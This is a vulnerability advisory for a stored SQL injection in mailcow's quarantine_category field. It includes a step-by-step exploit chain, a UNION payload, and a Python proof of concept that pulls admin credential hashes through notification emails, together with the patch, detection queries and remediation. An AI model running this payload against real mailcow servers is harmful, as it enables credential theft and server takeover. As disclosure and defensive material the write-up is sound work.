CVE-2026-40871: Second-Order SQL Injection in mailcow quarantine_notify
mailcow's quarantine_category API field stores unsanitized input that quarantine_notify.py later interpolates into raw SQL, enabling UNION-based credential exfiltration via deferred injection.
# A Hidden Security Flaw in Popular Email Software
Mailcow is popular open-source email software used by organizations to run their own email servers. A serious security flaw has been discovered that could let hackers steal sensitive data or take over servers entirely.
Here's what's happening. When administrators set up email accounts through mailcow's control panel, they can configure something called "quarantine categories" — basically rules for handling suspicious emails. The problem is that this configuration gets stored in the database without any protection against malicious code.
Think of it like this: imagine a filing clerk accepting documents without checking them, then later reading those documents aloud in front of a powerful decision-maker. If someone had hidden instructions in the document, those instructions would get executed.
Weeks or months later, when the quarantine notification system runs — the automatic emails telling users about suspicious messages — it pulls that stored information back out and uses it in database commands. This is where the attack happens. A hacker could have hidden malicious SQL code (the language that talks to databases) in that quarantine field months before, waiting to be activated.
The real danger: an attacker could steal the entire email database, modify messages, create fake administrator accounts, or potentially run code directly on the server.
Who's at risk? Mainly organizations running their own mailcow servers — universities, nonprofits, small businesses, and privacy-conscious companies that self-host rather than using Gmail or Outlook.
What to do: If your organization runs mailcow, contact your IT team immediately and ask if this vulnerability has been patched. Reputable vendors typically release security updates within days of public disclosure. Second, consider having security experts audit your email system. Third, if you're evaluating email systems, ask vendors specifically how they handle SQL injection vulnerabilities.
Want the full technical analysis? Click "Technical" above.
CVE-2026-40871 is a second-order (stored) SQL injection in mailcow: dockerized prior to version 2026-03b. The injection point is the quarantine_category parameter accepted by the /api/v1/add/mailbox REST endpoint. Unlike a first-order injection that fires immediately, this payload sits dormant in the database until quarantine_notify.py executes as a scheduled job — at which point it is interpolated unsafely into a SQL query using Python's % string formatting operator. The deferred nature makes this particularly dangerous: WAFs and API-layer monitoring will see a benign-looking mailbox creation request, while the actual injection occurs later inside the container with no direct attacker interaction at execution time.
CVSS 7.2 (HIGH) reflects that valid API credentials are a prerequisite, but in multi-tenant mailcow deployments, domain administrator keys are routinely issued to customers — dramatically widening the attack surface beyond a strict "admin only" interpretation.
Root cause:quarantine_notify.py constructs SQL queries via % string interpolation using a quarantine_category value retrieved from the database that was stored without sanitization by the /api/v1/add/mailbox handler.
Affected Component
Two distinct components interact to produce the vulnerability:
api/v1/add/mailbox — PHP REST handler inside the nginx-mailcow container. Accepts quarantine_category as a mailbox attribute and writes it to the mailbox table without validation.
quarantine_notify.py — Python script executed periodically (typically via cron inside the dovecot-mailcow container). Reads quarantine_category back from the database and inlines it into a SQL query to fetch quarantined messages for notification emails.
Root Cause Analysis
The mailbox creation handler stores the attacker-supplied value with no escaping:
// data.php (add/mailbox handler) — BEFORE patch
// BUG: quarantine_category stored directly from POST body, no sanitization
$stmt = $pdo->prepare("INSERT INTO `mailbox` (`username`, `quarantine_category`, ...)
VALUES (:username, :qcat, ...)");
$stmt->execute([
':username' => $mailbox,
':qcat' => $_data['quarantine_category'], // BUG: attacker-controlled, no validation
// ...
]);
Later, quarantine_notify.py retrieves this value and constructs a second query using unsafe % formatting:
# quarantine_notify.py — BEFORE patch
def get_quarantine_items(db_conn, mailbox, category):
# BUG: 'category' comes from the database but was stored without sanitization.
# Using % string formatting here allows injection of arbitrary SQL.
query = """
SELECT id, sender, subject, score
FROM quarantine
WHERE notified = '0'
AND rcpt = '%s'
AND category = '%s'
""" % (mailbox, category) # BUG: direct string interpolation — no parameterization
cursor = db_conn.cursor()
cursor.execute(query) # executes attacker-controlled SQL
return cursor.fetchall()
EXPLOIT CHAIN:
1. Obtain a valid mailcow API key (domain admin sufficient).
2. POST to /api/v1/add/mailbox with quarantine_category set to injection payload:
quarantine_category = "innocent' UNION SELECT username,password,
password,password FROM admin-- -"
3. Server inserts raw payload into mailbox.quarantine_category — no error returned.
Response is a normal 200 mailbox-created confirmation.
4. Wait for quarantine_notify.py cron execution (default: every 5 minutes).
5. quarantine_notify.py executes the constructed query:
SELECT id, sender, subject, score FROM quarantine
WHERE notified='0' AND rcpt='victim@domain.tld'
AND category = 'innocent'
UNION SELECT username,password,password,password FROM admin-- -'
6. UNION resultset contains admin credential rows. These rows are treated as
quarantine message metadata and rendered into the notification email body.
7. Attacker reads the notification email (sent to their controlled mailbox)
and recovers admin username + bcrypt hash (or plaintext if misconfigured).
8. Crack or relay hash to gain full mailcow admin panel access → RCE via
custom hooks / rspamd configuration injection.
The injection payload construction requires careful column-count matching. The quarantine table SELECT returns four columns (id, sender, subject, score), so the UNION must also project four columns from admin:
# PoC — CVE-2026-40871
import requests
TARGET = "https://mail.target.tld"
API_KEY = "your-domain-admin-api-key"
MAILBOX = "exfil@attacker-controlled.tld"
# Payload: terminate the category string, inject UNION to pull admin creds
# Column order in quarantine: id (int), sender (varchar), subject (varchar), score (float)
PAYLOAD = "x' UNION SELECT username,password,password,1.0 FROM admin-- -"
r = requests.post(
f"{TARGET}/api/v1/add/mailbox",
headers={"X-API-Key": API_KEY, "Content-Type": "application/json"},
json={
"local_part": "exfil",
"domain": "attacker-controlled.tld",
"password": "Tr0ub4dor&3",
"password2": "Tr0ub4dor&3",
"quarantine_category": PAYLOAD, # stored without sanitization
"active": "1",
}
)
print(f"[*] Mailbox creation: {r.status_code}")
print("[*] Awaiting cron execution of quarantine_notify.py...")
print("[*] Check notification email for admin credential rows.")
Memory Layout
This is a SQL injection rather than a memory corruption bug, so the "memory" of interest is the database row state and the Python query string buffer at execution time:
DATABASE STATE AFTER MAILBOX CREATION (mailbox table):
┌─────────────────────────────────────────────────────────────────────────┐
│ username │ quarantine_category │
├─────────────────────────────────────────────────────────────────────────┤
│ exfil@attacker.tld │ x' UNION SELECT username,password, │
│ │ password,1.0 FROM admin-- - │
└─────────────────────────────────────────────────────────────────────────┘
▲
└── stored raw — no escaping applied
QUERY STRING IN quarantine_notify.py AFTER % INTERPOLATION:
┌─────────────────────────────────────────────────────────────────────────┐
│ SELECT id, sender, subject, score FROM quarantine │
│ WHERE notified = '0' │
│ AND rcpt = 'exfil@attacker.tld' │
│ AND category = 'x' │ ← original query ends here
│ UNION SELECT username,password,password,1.0 FROM admin-- -' │ ← injected
└─────────────────────────────────────────────────────────────────────────┘
RESULTSET RETURNED (rendered into notification email):
Row 0: id=admin sender= subject= score=1.0
Patch Analysis
The 2026-03b patch applies fixes at both layers. The PHP handler now validates quarantine_category against an allowlist before storage, and quarantine_notify.py switches to parameterized queries:
// data.php — AFTER patch (2026-03b)
$allowed_categories = ['add_header', 'reject', 'all'];
if (!in_array($_data['quarantine_category'], $allowed_categories, true)) {
// FIXED: reject any value not in strict allowlist before DB write
return ['type' => 'danger', 'msg' => 'Invalid quarantine_category value'];
}
$stmt->execute([':qcat' => $_data['quarantine_category'], ...]);
# quarantine_notify.py — AFTER patch (2026-03b)
def get_quarantine_items(db_conn, mailbox, category):
# FIXED: parameterized query — category value never interpolated into SQL text
query = """
SELECT id, sender, subject, score
FROM quarantine
WHERE notified = '0'
AND rcpt = %s
AND category = %s
"""
cursor = db_conn.cursor()
cursor.execute(query, (mailbox, category)) # driver handles escaping
return cursor.fetchall()
Defence-in-depth: the allowlist in the PHP layer means no malicious value ever reaches the database, rendering the parameterized query fix in Python a redundant-but-correct secondary control. Both layers must be patched; fixing only the Python layer leaves the injection dormant for any row written before the upgrade.
Detection and Indicators
Because injection fires during cron rather than at request time, request-level WAF rules alone are insufficient. Effective detection requires:
API audit log review: query /api/v1/add/mailbox requests where quarantine_category contains single-quote characters, UNION, or -- sequences.
Database content scan:SELECT username, quarantine_category FROM mailbox WHERE quarantine_category NOT IN ('add_header','reject','all','','spam'); — any row returning results on a pre-patch instance should be treated as compromise evidence.
MySQL general query log: look for queries against the admin table originating from the quarantine_notify process user.
Notification email inspection: quarantine digests containing rows where subject/sender fields contain bcrypt $2y$ strings are a direct IOC.
IOC SUMMARY:
- API field: quarantine_category containing SQL metacharacters
- DB row: mailbox.quarantine_category NOT IN known-good enum values
- Query log: SELECT ... FROM admin executed by quarantine_notify.py user
- Email body: notification digest containing $2y$10$ bcrypt strings as subjects
Remediation
Upgrade immediately to mailcow 2026-03b or later via ./update.sh.
Post-upgrade database hygiene: run the content scan query above and rotate the admin password if any suspicious rows are found. Rows written before the patch are not automatically remediated by upgrading.
API key scoping: revoke domain-admin keys that do not require mailbox creation capability. The API does not currently support fine-grained permission scoping beyond admin/domain-admin, making key hygiene the only compensating control.
WAF rule (compensating control only): block POST bodies to /api/v1/add/mailbox where quarantine_category does not match ^(add_header|reject|all|spam)$. This is advisory only — upgrade is the sole authoritative fix.